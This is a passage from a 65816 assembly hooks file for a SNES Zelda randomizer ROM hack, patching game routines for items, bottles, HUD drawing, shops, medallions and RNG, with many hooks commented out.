ancilla_init.asm:1307 (LDA BottleList, X)\nLDA.w BottleListExpanded, X\n\norg $09895C ; 4895C - ancilla_init.asm:1344 (LDA PotionList, X)\nLDA.w PotionListExpanded, X\n;--------------------------------------------------------------------------------\n;org $098A36 ; <- 48A36 - ancilla_init.asm:1432 (LDA AddReceiveItem.item_graphics_indices, Y : STA $72)\n;LDA AddReceivedItemExpanded_item_graphics_indices, Y\n;--------------------------------------------------------------------------------\norg $06D1EB ; 351EB - sprite_absorbable.asm:364 (STA $7EF375) ; bugbug commented out until i figure out why it doesn't work\nJSL HandleBombAbsorbtion\n;--------------------------------------------------------------------------------\n;org $09873F ; <- 04873F - ancilla_init.asm : 960 (ADC [$00] : STA [$00] )\n;JSL.l AddToStock\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Kholdstare Shell Fix\n;--------------------------------------------------------------------------------\norg $00EC88 ; <- 6C88 - Bank00.asm:6671 - (LDA $7EC380, X : STA $7EC580, X)\nLDA $7EC3A0, X : STA $7EC5A0, X\n;--------------------------------------------------------------------------------\norg $00ECEB ; <- 6CEB - Bank00.asm:6730 - (LDX.w #$0080)\nLDX.w #$00A0\nLDA.w #$00B0\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Potion Refill Fixes\n;--------------------------------------------------------------------------------\n;org $0DF1B3 ; <- 6F1B3 - headsup_display.asm:492 - (SEP #$30)\n;JSL.l RefillMagic\n;RTL\n;--------------------------------------------------------------------------------\n;org $0DF128 ; <- 6F128 - headsup_display.asm:407 - (LDA $7EF36D : CMP $7EF36C : BCC .refillAllHealth)\n;JSL.l RefillHealth\n;RTL\n;--------------------------------------------------------------------------------\norg $00F8FB ; <- 78FB - Bank00.asm:8507 - (JSL HUD.RefillHealth : BCC BRANCH_ALPHA)\nJSL.l RefillHealth\n;--------------------------------------------------------------------------------\norg $00F911 ; <- 7911 - Bank00.asm:8528 - (JSL HUD.RefillMagicPower : BCS BRANCH_$7901)\nJSL.l RefillMagic\n;--------------------------------------------------------------------------------\norg $00F918 ; <- 7918 - Bank00.asm:8537 - (JSL HUD.RefillHealth : BCC .alpha)\nJSL.l RefillHealth\n;--------------------------------------------------------------------------------\norg $00F922 ; <- 7922 - Bank00.asm:8543 - (JSL HUD.RefillMagicPower : BCC .beta)\nJSL.l RefillMagic\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Early Bottle Fix\n;--------------------------------------------------------------------------------\norg $09894C ; <- 4894C - ancilla_init.asm:1327\nJSL.l InitializeBottles\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Agahnim Doors Fix\n;--------------------------------------------------------------------------------\norg $1BBC94 ; <- DBC94 - Bank1B.asm : 201 (LDA $7EF3C5 : AND.w #$000F : CMP.w #$0003 : BCS BRANCH_EPSILON)\nJSL.l LockAgahnimDoors : BNE Overworld_Entrance_BRANCH_EPSILON : NOP #6\n\norg $1BBCC1 ; <- DBCC1 - Bank1B.asm : 223 (LDA $0F8004, X : AND.w #$01FF : STA $00)\nOverworld_Entrance_BRANCH_EPSILON: ; go here to lock doors\n;--------------------------------------------------------------------------------\n; -- HOOK THIS LATER TO FUCK WITH BOSS DROPS --\norg $01C73E ; <- C73E - Bank01.asm : 10377 (LDA $01C6FC, X : JSL Sprite_SpawnFallingItem)\nJSL.l DropSafeDungeon\nNOP #4\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Uncle \/ Sage Fixes - Old Man Fixes - Link's House Fixes\n;--------------------------------------------------------------------------------\norg $05DA4F ; <- 2DA4F - sprite_uncle_and_priest.asm : 45 (BCC .agahnim_not_defeated)\ndb 80 ; BRA\n;--------------------------------------------------------------------------------\norg $05DA61 ; <- 2DA61 - sprite_uncle_and_priest.asm : 51 (BEQ .priest_not_already_dead)\ndb 80 ; BRA\n;--------------------------------------------------------------------------------\norg $05DA81 ; <- 2DA81 - sprite_uncle_and_priest.asm : 65 (BCC .dontHaveMasterSword)\ndb 80 ; BRA\n;--------------------------------------------------------------------------------\n;org $05DE1D ; <- 2DE1D - sprite_uncle_and_priest.asm : 725 (LDA.b #$A0 : STA $7EF372)\n;JSL.l RefillHealthPlusMagic8bit\n;NOP #2\n;--------------------------------------------------------------------------------\norg $05DEF8 ; <- 2DEF8 - sprite_uncle_and_priest.asm : 917 (LDA.b #$05)\nLDA.b #$00\n;--------------------------------------------------------------------------------\norg $05DE6A ; <- 2DE6A - sprite_uncle_and_priest.asm : 796 (JSL Sprite_ShowMessageUnconditional)\nNOP #4\n;--------------------------------------------------------------------------------\n; org $05DE9E ; <- 2DE9E - sprite_uncle_and_priest.asm : 845 (JSL Sprite_ShowMessageUnconditional)\n; JSL.l DialogUncle\n;--------------------------------------------------------------------------------\n;org $1EEAB6 ; <- F6AB6 - sprite_old_mountain_man.asm : 338 (LDA.b #$A0 : STA $7EF372)\n;JSL.l RefillHealthPlusMagic8bit\n;NOP #2\n;--------------------------------------------------------------------------------\n;org $01E5B2 ; <- E5B8 - lower pot link's house\n;db $14 ; fairy\n;org $01E5B5 ; <- E5B8 - lower pot link's house\n;db $14 ; fairy\n;org $01E5B8 ; <- E5B8 - lower pot link's house\n;db $0D ; big magic\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Ganon's Tower Basement Door Fix\n;--------------------------------------------------------------------------------\n;org $1FF3F4 ; <- 0FF3F4\n;db $00\n;--------------------------------------------------------------------------------\n; Misery Mire Basement Door Fix\n;--------------------------------------------------------------------------------\n;org $1FB8E4 ; <- 0FB8E4\n;db $00\n;--------------------------------------------------------------------------------\n;0xFE465 -> 0x1E\norg $1FE465\ndb #$1E\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Bomb & Arrow Capacity Updates\n;--------------------------------------------------------------------------------\norg $0DDC27 ; <- 6DC27 - headsup_display.asm:151 (LDA $7EF370 : TAY)\nJSL.l IncrementBombs\nNOP #15\n;--------------------------------------------------------------------------------\norg $0DDC49 ; <- 6DC49 - headsup_display.asm:169 (LDA $7EF371 : TAY)\nJSL.l IncrementArrows\nNOP #15\n;--------------------------------------------------------------------------------\norg $1EE199 ; <- F6199 - sprite_bomb_shop_entity.asm:102 (LDA $7EF370 : PHX : TAX)\nJSL.l CompareBombsToMax\nNOP #11\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Bonk Items\n;--------------------------------------------------------------------------------\norg $05FC7E ; <- 2FC7E - sprite_dash_item.asm : 118 (LDA $7EF36F : INC A : STA $7EF36F)\nJSL.l GiveBonkItem : NOP #5\norg $05FC97 ; <- 2FC97 - sprite_dash_item.asm : 126 (LDA.b #$2F : JSL Sound_SetSfx3PanLong)\nNOP #6\n;--------------------------------------------------------------------------------\norg $068D39 ; <- 30D39 - sprite_prep.asm : 1435 - (LDA.b #$08 : STA $0F50, X)\nJSL.l LoadBonkItemGFX\n;--------------------------------------------------------------------------------\norg $05FC04 ; <- 2FC04 - sprite_dash_item.asm : 38 - (JSL DashKey_Draw)\nJSL.l DrawBonkItemGFX\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Library Item\n;--------------------------------------------------------------------------------\norg $05FD44 ; <- 2FD44 - sprite_dash_item.asm : 244 - (JSL Link_ReceiveItem)\nJSL.l SetLibraryItem\n;--------------------------------------------------------------------------------\norg $068D1B ; <- 30D1B - sprite_prep.asm : 1414 - (JSL GetAnimatedSpriteTile.variable)\nJSL.l LoadLibraryItemGFX\n;--------------------------------------------------------------------------------\norg $05FC9E ; <- 2FC9E - sprite_dash_item.asm : 138 - (JSL Sprite_PrepAndDrawSingleLargeLong)\nJSL.l DrawLibraryItemGFX\n;--------------------------------------------------------------------------------\norg $068D0E ; <- 30D0E - sprite_prep.asm : 1401 - (LDA $7EF34E : BEQ .book_of_mudora)\nJSL.l ItemCheck_Library\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Inventory Updates\n;--------------------------------------------------------------------------------\norg $0DDF38 ; <- 6DF38 - equipment.asm : 480\nJSL.l ProcessMenuButtons\nBCC _equipment_497\nJMP.w _equipment_544\n;NOP #7\nResetEquipment:\nJSR.w RestoreNormalMenu ; (short)\nRTL\nNOP #3\n\nwarnpc $0DDF49\norg $0DDF49 ; <- 6DF49 - equipment.asm : 497\n_equipment_497: ; LDA $F4 : AND.b #$08 : BEQ .notPressingUp - NO BUTTON CAPTURE\n;org $0DDF7E ; <- 6DF7E - equipment.asm : 539\norg $0DDF88 ; <- 6DF88 - equipment.asm : 544\n;org $0DE10E ; <- 6E10E - equipment.asm : 806\n_equipment_544:\n;--------------------------------------------------------------------------------\norg $0DEB98 ; <- 6EB98 - equipment.asm : 1803\n;LDA.w #$3C60 : STA $FFBE, Y\n;ORA.w #$4000 : STA $FFC4, Y\n;ORA.w #$8000 : STA $0084, Y\n;EOR.w #$4000 : STA $007E, Y\nLDA.w #$3C60 : STA $FFBE, Y\nORA.w #$8000 : STA $007E, Y\nORA.w #$4000 : STA $0084, Y\nJSL.l AddYMarker\nNOP #2\n;--------------------------------------------------------------------------------\norg $0DF789+6 ; <- 6F789+6 (not in disassembly) - red bottle hud tile, lower right\ndw #$2413 ; (Orig: #$24E3)\norg $0DF789+6+8 ; green bottle hud tile, lower right\ndw #$3C12 ; (Orig: #$3CE3)\norg $0DF789+6+16 ; blue bottle hud tile, lower right\ndw #$2C14 ; (Orig: #$2CD2)\norg $0DF789+6+40 ; good bee hud tile, lower right\ndw #$2815 ; (Orig: #$283A)\n;--------------------------------------------------------------------------------\n;org $0DDE9B ; <- 6DE9B equipment.asm:296 - LDA $0202 : CMP.b #$10 : BNE .notOnBottleMenu (CMP instruction)\n;CMP.b #$FF\n;--------------------------------------------------------------------------------\norg $0DDE9F ; <- 6DE9F equipment.asm:300 - LDA.b #$0A : STA $0200\nLDA.b #$04\n;--------------------------------------------------------------------------------\norg $0DDE59 ; <- 6DE59 equipment.asm:247 - REP #$20\nJSL.l BringMenuDownEnhanced : RTS\n;--------------------------------------------------------------------------------\norg $0DDFBC ; <- 6DFBC equipment.asm:599 - LDA $EA : ADD.w #$0008 : STA $EA : SEP #$20 : BNE .notDoneScrolling\nJSL.l RaiseHudMenu : NOP #3\n;--------------------------------------------------------------------------------\norg $0DDE3D ; <- 6DE3D equipment.asm:217 - BNE .equippedItemIsntBottle\ndb $80 ; BRA\n;--------------------------------------------------------------------------------\norg $0DE12D ; <- 6E12D - equipment.asm : 828\nJSL.l ProcessBottleMenu\n;--------------------------------------------------------------------------------\norg $0DDF9A ; <- 6DF9A - equipment.asm : 554\nJSL.l OpenBottleMenu\nNOP\n;--------------------------------------------------------------------------------\norg $0DE12D ; <- 6E12D - equipment.asm : 828\nJSL.l CloseBottleMenu\n;--------------------------------------------------------------------------------\norg $0DDF1E ; <- 6DF1E - equipment.asm : 462 - LDA $F4 : AND.b #$10 : BEQ .dontLeaveMenu\nJSL.l CheckCloseItemMenu\n;--------------------------------------------------------------------------------\norg $0DEE70 ; <- 6EE70 - equipment.asm : 2137\nJSL.l PrepItemScreenBigKey\nNOP\n;--------------------------------------------------------------------------------\norg $08D395 ; <- 45395 - ancilla_bird_travel_intro.asm : 253\nJSL.l UpgradeFlute\nNOP #2\n;--------------------------------------------------------------------------------\norg $05E4D7 ; <- 2E4D7 - sprite_witch.asm : 213\nJSL.l RemoveMushroom\nNOP #2\n;--------------------------------------------------------------------------------\norg $05F55F ; <- 2F55F - sprite_potion_shop.asm : 59\nJSL.l LoadPowder\n;--------------------------------------------------------------------------------\norg $05F681 ; <- 2F681 - sprite_potion_shop.asm : 234\nJSL.l DrawPowder\nRTS\nNOP #8\n;--------------------------------------------------------------------------------\norg $05F65D ; <- 2F65D - sprite_potion_shop.asm : 198\nJSL.l CollectPowder\nNOP #5\n;--------------------------------------------------------------------------------\norg $05EE5F ; <- 2EE5F - sprite_mushroom.asm : 30\nJSL.l LoadMushroom\nNOP\n;--------------------------------------------------------------------------------\norg $05EE78 ; <- 2EE78 - sprite_mushroom.asm : 58\nJSL.l DrawMushroom\n;--------------------------------------------------------------------------------\norg $05EE97 ; <- 2EE97 - sprite_mushroom.asm : 81\nNOP #14\n;--------------------------------------------------------------------------------\norg $07A36F ; <- 3A36F - Bank07.asm : 5679\nNOP #5\norg $07A379 ; <- 3A379 - Bank07.asm : 5687\nJSL.l SpawnHauntedGroveItem\n;--------------------------------------------------------------------------------\norg $07A303 ; 3A303 - Bank07.asm : 5622\n;JSL.l FixShovelLock\n;--------------------------------------------------------------------------------\norg $07A3A2 ; 3A3A2 - Bank07.asm : 5720 - JSL DiggingGameGuy_AttemptPrizeSpawn\nJSL.l SpawnShovelItem\nBRA _Bank07_5726\norg $07A3AB ; 3A3AB - Bank07.asm : 5726 - LDA.b #$12 : JSR Player_DoSfx2\n_Bank07_5726:\n;org $07A381 ; 3A381 - Bank07.asm : 5693 - ORA $035B\n;ORA $035B\n;--------------------------------------------------------------------------------\norg $079A0E ; 39A0E - Bank07.asm : 4117 - JSL HUD.RefreshIconLong\nJSL.l Link_ReceiveItem_HUDRefresh\n;--------------------------------------------------------------------------------\norg $08C6F9 ; 446F9 - ancilla_receive_item.asm : 538 - (LDA AddReceiveItem.properties, X : BPL .valid_upper_properties)\nLDA AddReceivedItemExpanded_properties, X\n;--------------------------------------------------------------------------------\norg $08C70F ; 4470F - ancilla_receive_item.asm : 550 - (LDA .wide_item_flag, X : STA ($92), Y ; AddReceiveItem.wide_item_flag? ; LDA.b #$00 : STA ($92), Y in the japanese version)\nJML.l LoadNarrowObject\nNOP\nLoadNarrowObjectReturn:\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Swordless Mode\n;--------------------------------------------------------------------------------\norg $07A49F ; <- 3A49F - Bank07.asm:5903 (LDA $7EF359 : INC A : AND.b #$FE : BEQ .cant_cast_play_sound) - Ether\nJSL.l CheckMedallionSword\n;--------------------------------------------------------------------------------\norg $07A574 ; <- 3A574 - Bank07.asm:6025 (LDA $7EF359 : INC A : AND.b #$FE : BEQ BRANCH_BETA) - Bombos\nJSL.l CheckMedallionSword\n;--------------------------------------------------------------------------------\norg $07A656 ; <- 3A656 - Bank07.asm:6133 (LDA $7EF359 : INC A : AND.b #$FE : BEQ BRANCH_BETA) - Quake\nJSL.l CheckMedallionSword\n;--------------------------------------------------------------------------------\norg $05F3A0 ; <- 2F3A0 - sprite_medallion_tablet.asm:240 (LDA $7EF359 : BMI .zeta)\nJSL.l CheckTabletSword\n;--------------------------------------------------------------------------------\norg $05F40A ; <- 2F40A - sprite_medallion_tablet.asm:303 (LDA $7EF359 : BMI .show_hylian_script)\nJSL.l CheckTabletSword\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Medallion Tablets\n;--------------------------------------------------------------------------------\norg $05F274 ; <- 2F274\nJSL.l ItemCheck_BombosTablet\n;--------------------------------------------------------------------------------\norg $05F285 ; <- 2F285\nJSL.l ItemCheck_EtherTablet\n;--------------------------------------------------------------------------------\n;org $098BCC ; <- 48BCC - ancilla_init.asm : 1679 (LDA AddReceiveItem.item_graphics_indices, Y : STA $72)\n;;JSL.l SetTabletItem\n;JSL SpawnTabletItem : PLX : PLB : RTL\n;--------------------------------------------------------------------------------\norg $07859F ; <- 3859F - Bank07.asm : 965 (JSL AddPendantOrCrystal)\nJSL SpawnTabletItem\norg $07862A ; <- 3862A - Bank07.asm : 1064 (JSL AddPendantOrCrystal)\nJSL SpawnTabletItem\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Medallion Entrances\n;--------------------------------------------------------------------------------\norg $08B504 ; <- 43504 - ancilla_bombos_spell.asm : 671\nJSL.l MedallionTrigger_Bombos\nNOP\n;--------------------------------------------------------------------------------\norg $08ACC8 ; <- 42CC8 - ancilla_ether_spell.asm : 350\nJSL.l MedallionTrigger_Ether\nJMP _ancilla_ether_spell_363\nwarnpc $08ACE6\norg $08ACE6 ; <- 42CE6 - ancilla_quake_spell.asm : 363\n_ancilla_ether_spell_363:\n;--------------------------------------------------------------------------------\norg $08B6EA ; <- 436EA - ancilla_quake_spell.asm : 67\nJSL.l MedallionTrigger_Quake\nJMP _ancilla_quake_spell_83\nAncilla_CheckIfEntranceTriggered:\n\tJSR $F856\nRTL\nwarnpc $08B708\norg $08B708 ; <- 43708 - ancilla_quake_spell.asm : 83\n_ancilla_quake_spell_83:\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Big & Great Fairies\n;--------------------------------------------------------------------------------\norg $1DC475 ; <- EC475 - sprite_big_fairie.asm : 70 (LDA.w #$00A0 : ADD $7EF372 : STA $7EF372)\nJSL.l RefillHealthPlusMagic\nNOP #8\n\norg $1DC489 ; <- EC489 - sprite_big_fairie.asm : 88 (LDA $7EF36D : CMP $7EF36C : BNE .player_hp_not_full_yet)\nNOP #4\nJSL.l CheckFullHealth\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; RNG Fixes\n;--------------------------------------------------------------------------------\norg $1DFD9E ; <- EFD9E - sprite_diggin_guy.asm : 307\nNOP #8\n;--------------------------------------------------------------------------------\norg $1DFD67 ; <- EFD67 - sprite_diggin_guy.asm : 242\nJSL.l RigDigRNG\n;--------------------------------------------------------------------------------\norg $01EE94 ; <- EE94 - Bank01.asm : 14121\nJSL.l RigChestRNG\n\n; ;--------------------------------------------------------------------------------\n; org $1ED63E ; <- F563E - sprite_agahnim.asm\n; JSL RNG_Agahnim1\n; org $1ED6EF ; <- F56EF - sprite_agahnim.asm\n; JSL RNG_Agahnim1\n; org $1D91E3 ; <- E91E3 - sprite_ganon.asm\n; JSL RNG_Ganon_Extra_Warp\n; org $1D9488 ; <- E9488 - sprite_ganon.asm\n; JSL RNG_Ganon\n; ;--------------------------------------------------------------------------------\n; ;org $01EDB2 ; <- EDB2 - Bank01.asm : 14038\n; ;INC $04C4\n; ;--------------------------------------------------------------------------------\n; org $05A3F4 ; <- 2A3F4 - sprite_lanmola.asm : 112 (JSL GetRandomInt : AND.b #$07 : TAY)\n; JSL.l RNG_Lanmolas1\n; org $05A401 ; <- 2A401 - sprite_lanmola.asm : 116 (JSL GetRandomInt : AND.b #$07 : TAY)\n; JSL.l RNG_Lanmolas1\n; org $05A4FA ; <- 2A4FA - sprite_lanmola.asm : 241 (JSL GetRandomInt : AND.b #$07 : TAY)\n; JSL.l RNG_Lanmolas1\n; org $05A507 ; <- 2A507 - sprite_lanmola.asm : 245 (JSL GetRandomInt : AND.b #$07 : TAY)\n; JSL.l RNG_Lanmolas1\n; ;--------------------------------------------------------------------------------\n; org $1DD817 ; <- ED817 - sprite_giant_moldorm.asm : 187 (JSL GetRandomInt : AND.b #$02 : DEC A : STA $0EB0, X)\n; JSL.l RNG_Moldorm1\n; org $1DD821 ; <- ED821 - sprite_giant_moldorm.asm : 189 (JSL GetRandomInt : AND.b #$1F : ADC.b #$20 : STA !timer_0, X)\n; JSL.l RNG_Moldorm1\n; org $1DD832 ; <- ED832 - sprite_giant_moldorm.asm : 203 (JSL GetRandomInt : AND.b #$0F : ADC.b #$08 : STA !timer_0, X)\n; JSL.l RNG_Moldorm1\n; ;--------------------------------------------------------------------------------\n; org $1E81A9 ; <- F01A9 - sprite_helmasaur_king.asm : 247 (JSL GetRandomInt : AND.b #$07 : TAY)\n; JSL.l RNG_Helmasaur\n; org $1E8262 ; <- F0262 - sprite_helmasaur_king.asm : 373 (JSL GetRandomInt : AND.b #$01 : BEQ BRANCH_BETA)\n; JSL.l RNG_Helmasaur\n; org $1DEEE1 ; <- EEEE1 - sprite_helmasaur_fireball.asm : 236 (JSL GetRandomInt : STA $0FB6)\n; JSL.l RNG_Helmasaur\n; ;--------------------------------------------------------------------------------\n; org $1EB5F7 ; <- F35F7 - sprite_arrghus.asm : 328 (JSL GetRandomInt : AND.b #$3F : ADC.b #$30 : STA $0DF0, X)\n; JSL.l RNG_Arrghus\n; ;--------------------------------------------------------------------------------\n; org $1EBF4D ; <- F3F4D - sprite_mothula.asm : 180 (JSL GetRandomInt : AND.b #$07 : TAY)\n; JSL.l RNG_Mothula\n; org $1EBF60 ; <- F3F60 - sprite_mothula.asm : 187 (JSL GetRandomInt : AND.b #$1F : ADC.b #$40 : STA $0DF0, X)\n; JSL.l RNG_Mothula\n; org $1EBFBE ; <- F3FBE - sprite_mothula.asm : 261 (JSL GetRandomInt : AND.b #$1F : ORA.b #$40 : STA !beam_timer, X)\n; JSL.l RNG_Mothula\n; org $1EC095 ; <- F4095 - sprite_mothula.asm : 373 (JSL GetRandomInt : AND.b #$1F : CMP #$1E : BCC .already_in_range)\n; JSL.l RNG_Mothula\n; ;--------------------------------------------------------------------------------\n; org $1E957A ; <- F157A - sprite_kholdstare.asm : 209 (JSL GetRandomInt : AND.b #$3F : ADC.b #$20 : STA $0DF0, X)\n; JSL.l RNG_Kholdstare\n; org $1E95F0 ; <- F15F0 - sprite_kholdstare.asm : 289 (JSL GetRandomInt : AND.b #$3F : ADC.b #$60 : STA $0DF0, X)\n; JSL.l RNG_Kholdstare\n; org $1E95FB ; <- F15FB - sprite_kholdstare.asm : 291 (JSL GetRandomInt : PHA : AND.b #$03 : TAY)\n; JSL.l RNG_Kholdstare\n; org $1E96C9 ; <- F16C9 - sprite_kholdstare.asm : 453 (JSL GetRandomInt : AND.b #$07 : TAY)\n; JSL.l RNG_Kholdstare\n; org $1E96E5 ; <- F16E5 - sprite_kholdstare.asm : 458 (JSL GetRandomInt : AND.b #$07 : TAY)\n; JSL.l RNG_Kholdstare\n; org $1E97D5 ; <- F17D5 - sprite_kholdstare.asm : 605 (JSL GetRandomInt : AND.b #$04 : STA $0D)\n; JSL.l RNG_Kholdstare\n; ;--------------------------------------------------------------------------------\n; org $1DE5E4 ; <- EE5E4 - sprite_vitreous.asm : 207 (JSL GetRandomInt : AND.b #$0F : TAY)\n; JSL.l RNG_Vitreous\n; org $1DE626 ; <- EE626 - sprite_vitreous.asm : 255 (JSL GetRandomInt : AND.b #$07 : STA $0D90, Y)\n; JSL.l RNG_Vitreous\n; ;--------------------------------------------------------------------------------\n; org $1DB16C ; <- EB16C - sprite_trinexx.asm : 530 (JSL GetRandomInt : AND.b #$07 : TAY)\n; JSL.l RNG_Trinexx\n; org $1DB186 ; <- EB186 - sprite_trinexx.asm : 535 (JSL GetRandomInt : AND.b #$07 : TAY)\n; JSL.l RNG_Trinexx\n; org $1DB25E ; <- EB25E - sprite_trinexx.asm : 643 (JSL GetRandomInt : AND.b #$03 : TAY : CMP $00 : BEQ BRANCH_ALPHA)\n; JSL.l RNG_Trinexx\n; org $1DB28D ; <- EB28D - sprite_trinexx.asm : 661 (JSL GetRandomInt : AND.b #$03 : CMP.b #$01 : TYA : BCS BRANCH_GAMMA)\n; JSL.l RNG_Trinexx\n; org $1DB9B0 ; <- EB9B0 - sprite_sidenexx.asm : 165 (JSL GetRandomInt : AND.b #$07 : INC A : CMP.b #$05 : BCS BRANCH_ALPHA)\n; JSL.l RNG_Trinexx\n; org $1DB9CC ; <- EB9CC - sprite_sidenexx.asm : 175 (JSL GetRandomInt : LSR A : BCS BRANCH_ALPHA)\n; JSL.l RNG_Trinexx\n; org $1DBA5D ; <- EBA5D - sprite_sidenexx.asm : 270 (JSL GetRandomInt : AND.b #$0F : STA $0DF0, X)\n; JSL.l RNG_Trinexx\n; org $1DBAB1 ; <- EBAB1 - sprite_sidenexx.asm : 314 (JSL GetRandomInt : AND.b #$0F : LDY.b #$00 : SUB.b #$03)\n; JSL.l RNG_Trinexx\n; org $1DBAC3 ; <- EBAC3 - sprite_sidenexx.asm : 323 (JSL GetRandomInt : AND.b #$0F : ADD.b #$0C : STA $02 : STZ $03)\n; JSL.l RNG_Trinexx\n;================================================================================\n; HUD Changes\n;--------------------------------------------------------------------------------\norg $0DFC77 ; <- 6FC77 - headsup_display.asm : 845\nNOP #$2D ; #45\norg $0DFC77 ; <- 6FC77 - yes these are both the correct address - kkat\nJSL.l OnDrawHud\nBRA $27\n\norg $0DFCB8 ; <- 6FCB8\nJSL.l DrawBombTens ; nudge bomb 10s digit right\n\norg $0DFCC4 ; <- 6FCC4\nJSL.l DrawBombOnes ; nudge bomb 1s digit right\n\norg $0DFCDC ; <- 6FCDC\nJSL.l DrawArrowTens\n\norg $0DFCE8 ; <- 6FCE8\nJSL.l DrawArrowOnes\n\norg $0DFD0A ; <- 6FD0A - headsup_display.asm : 900\nSTA $7EC766 ; nudge key digit right\n\norg $0DFD13 ; <- 6FD13 - headsup_display.asm : 905\nSTA $7EC726 ; key icon blank\n\norg $0DFC37 ; <- 6FC37 - headsup_display.asm : 828 (LDA.w #$28F7)\nJSL.l DrawMagicHeader\nNOP #17\n;--------------------------------------------------------------------------------\norg $0DFB29 ; <- headsup_display.asm : 688 (LDA.b #$86 : STA $7EC71E)\n;LDA.b #$86 : STA $7EC720 ; nudge silver arrow right - remember to update this in newit\n;LDA.b #$24 : STA $7EC721\n;LDA.b #$87 : STA $7EC722\n;LDA.b #$24 : STA $7EC723\nJSL.l DrawHUDArrows : BRA +\n\tNOP #18\n+\n; ;--------------------------------------------------------------------------------\norg $01CF67 ; <- CF67 - Bank01.asm : 11625 (STA $7EF36F)\nJSL.l DecrementSmallKeys\n; ;--------------------------------------------------------------------------------\norg $0DED04 ; <- 6ED04 - equipment.asm : 1963 (REP #$30)\nJSL.l DrawHUDDungeonItems\n;--------------------------------------------------------------------------------\n; Insert our version of the hud tilemap\norg $0DFA96 ; <- 6FA96 - headsup_display.asm : 626 (LDX.w #.hud_tilemap)\nLDX.w #HUD_TileMap\norg $0DFA9C ; <- 6FA9C - headsup_display.asm : 629 (MVN $0D, $7E ; $Transfer 0x014A bytes from $6FE77 -> $7EC700)\nMVN $C77E\n;--------------------------------------------------------------------------------\n;org $0DE48E ; <- 6E48E - equipment.asm : 1233 (LDA.w #$11CE : STA $00) - HOOK HERE TO DRAW ON THE ITEM SCREEN\n;JSL.l DrawHUDDungeonItems\n;NOP\n;--------------------------------------------------------------------------------\norg $0DFB1F ; 6FB1F - headsup_display.asm : 681 (LDA $7EF340 : BEQ .hastNoBow)\nJSL.l CheckHUDSilverArrows\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; 300 Rupee NPC\n;--------------------------------------------------------------------------------\norg $1EF060 ; <- F7060 - sprite_shopkeeper.asm:242 (INC $0D80, X)\nJSL.l Set300RupeeNPCItem\nNOP\n;--------------------------------------------------------------------------------\n\n; ;================================================================================\n; ; Glitched Mode Fixes\n; ;--------------------------------------------------------------------------------\n; org $0691AC ; <- 311AC - sprite_prep.asm:2453 (LDY $0FFF)\n; JSL.l GetAgahnimPalette\n; NOP #2\n; ;--------------------------------------------------------------------------------\n; org $06F0DD ; <- 370DD - Bank06.asm:5399 (STA $0BA0, X)\n; JSL.l GetAgahnimDeath\n; NOP #2\n; ;--------------------------------------------------------------------------------\n; org $1ED4E6 ; <- F54E6 - sprite_agahnim.asm:314 (LDY $0FFF)\n; JSL.l GetAgahnimType\n; NOP #2\n; ;--------------------------------------------------------------------------------\n; org $1ED577 ; <- F5577 - sprite_agahnim.asm:418 (PHX)\n; JML.l GetAgahnimSlot\n; GetAgahnimSlotReturn:\n; ;--------------------------------------------------------------------------------\n; org $1ED678 ; <- F5678 - sprite_agahnim.asm:587 (INC $0E30, X)\n; NOP #2\n; JSL.l GetAgahnimLightning\n; ;--------------------------------------------------------------------------------\n; org $0287E0 ; <- 107E0 - Bnak02.asm:1507 (LDA $0112 : ORA $02E4 : ORA $0FFC : BEQ .allowJoypadInput)\n; JSL.l AllowJoypadInput : NOP #5\n; ;--------------------------------------------------------------------------------\n\n;================================================================================\n; Half Magic Bat\n;--------------------------------------------------------------------------------\norg $05FBD3 ; <- 2FBD3 - sprite_mad_batter.asm:209 - (STA $7EF37B)\nJSL.l GetMagicBatItem\n;--------------------------------------------------------------------------------\n\n; ;================================================================================\n; ; MSU Music\n; ;--------------------------------------------------------------------------------\n; org $0080D7 ; <- D7 - Bank00.asm:172 (SEP #$30)\n; spc_nmi:\n; JML msu_main\n; NOP\n; spc_continue:\n\n; org $0EE6EC ; <- E220 A922 - Bank0E.asm:2892 (SEP #$20)\n; JSL.l ending_wait\n; ;--------------------------------------------------------------------------------\n\n;================================================================================\n; Replacement Shopkeeper\n;--------------------------------------------------------------------------------\norg $068BEB ; <- 30BEB - sprite_prep.asm:1125 - (INC $0BA0, X)\nJSL.l SpritePrep_ShopKeeper : RTS : NOP\nShopkeeperFinishInit:\n;--------------------------------------------------------------------------------\norg $1EEEE3 ; <- F6EE3 - sprite_shopkeeper.asm:7 - (LDA $0E80, X)\nJSL.l Sprite_ShopKeeper : RTS : NOP\nShopkeeperJumpTable:\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Tile Target Loader\n;--------------------------------------------------------------------------------\norg $00D55E ; <- 555E - Bank00.asm:3491 (LDX.w #$2D40)\nJSL.l LoadModifiedTileBufferAddress : NOP #2\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Permabunny Fix\n;--------------------------------------------------------------------------------\norg $078F32 ; <- 38F32 - Bank07.asm:2420 - (LDA $7EF357)\nJSL.l DecideIfBunny ; for bunny beams\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Other bunny Fixes\n;--------------------------------------------------------------------------------\norg $029E7C; <- 11E7C - module_ganon_emerges.asm:127 - (LDA.b #$09 : STA $012C)\nJSL.l FixAga2Bunny : NOP\n;--------------------------------------------------------------------------------\n\n;================================================================================\n; Open Mode Fixes\n;--------------------------------------------------------------------------------\norg $05DF65 ; <- 2DF65 - sprite_uncle_and_priest.asm:994 - (LDA.b #$01 : STA $7EF3C5)\nJSL.l SetUncleRainState : RTS\n;--------------------------------------------------------------------------------\n;org $0280DD ; <- 100DD - Bank02.asm:298 - (LDA $7EF3C5 : CMP.b #$02 : BCC .indoors)\n;JSL.l ForceLinksHouse\n;--------------------------------------------------------------------------------\norg 